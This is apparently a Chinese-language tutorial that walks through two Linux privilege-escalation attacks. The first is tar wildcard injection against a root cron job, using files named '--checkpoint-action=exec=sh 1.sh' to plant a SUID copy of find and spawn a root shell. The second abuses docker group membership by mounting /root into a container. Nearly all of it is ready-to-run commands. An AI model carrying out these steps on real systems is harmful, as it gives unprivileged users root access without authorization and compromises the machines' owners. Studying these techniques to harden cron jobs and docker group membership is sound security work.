定时任务有打包命令,这个命令有参数调用可以执行其他命令,定时任务因为是root用户执行的,所以就会造成提权。
一、linux定时任务打包提权复现
环境:ubuntun14.04
1.创建定时任务:
在最下面写入:
* * * * * root sh /back.sh
在/创建back.sh
cd /
vim back.sh
内容:
cd /tmp;tar zcf /tmp/back.tar.gz * #进入tmp目录,打包tmp目录下的所有文件为back.tar.gz
进入到tmp目录,观察是否打包成功:
cd /tmp
ls
成功打包:
2.切换用户,添加参数
su test
cd /tmp
echo "" > --checkpoint=1 #设置一个检查点
echo "" > "--checkpoint-action=exec=sh 1.sh" #执行命令
echo ‘cp /usr/bin/find /tmp/f; chmod +s /tmp/f’> 1.sh#命令添加有suid提权可能的命令
./f . -exec /bin/sh \;
id
#当第五条用不了时,直接新建文件写入
vim 1.sh
#内容:
cp /usr/bin/find /tmp/f;chmod +s /tmp/f
#其他步骤是后面的6,7
成功提权:
分析:
定时任务里的打包命令,是一个一个文件开始打包的,当打包到--check-point=1时,tar加上这个参数是设置一个检查点,在这个检查点可以进行其他命令执行,进行其他命令执行用的--checkpoint-action=exec这个参数,也就是下一个要打包的文件,然后就用root执行了自己想要可以进行suid提权的命令,最后成功提权
二.docker组挂载提权
把普通用户添加到docker组里就可以运行docker了,但是docker服务是以root来运行的,所以可以达到提权的目的
复现:环境有docker的centos7
添加用户test
useradd test
passwd test
用root用户去改test用户的所属组,使test用户进入到docker组里
usermod -G docker test #修改test用户的组为docker
newgrp docker #newgrp切换用户的有效组
成功修改组
run 就是运行,-v 将外部的/root挂载到docker内部的mnt目录下,-it进入docker的shell,也可以使用外部的其他目录,如/etc,-it参数后的内容是docker镜像
利用:
su test
docker run -v /root:/mnt -it alpine
成功提权: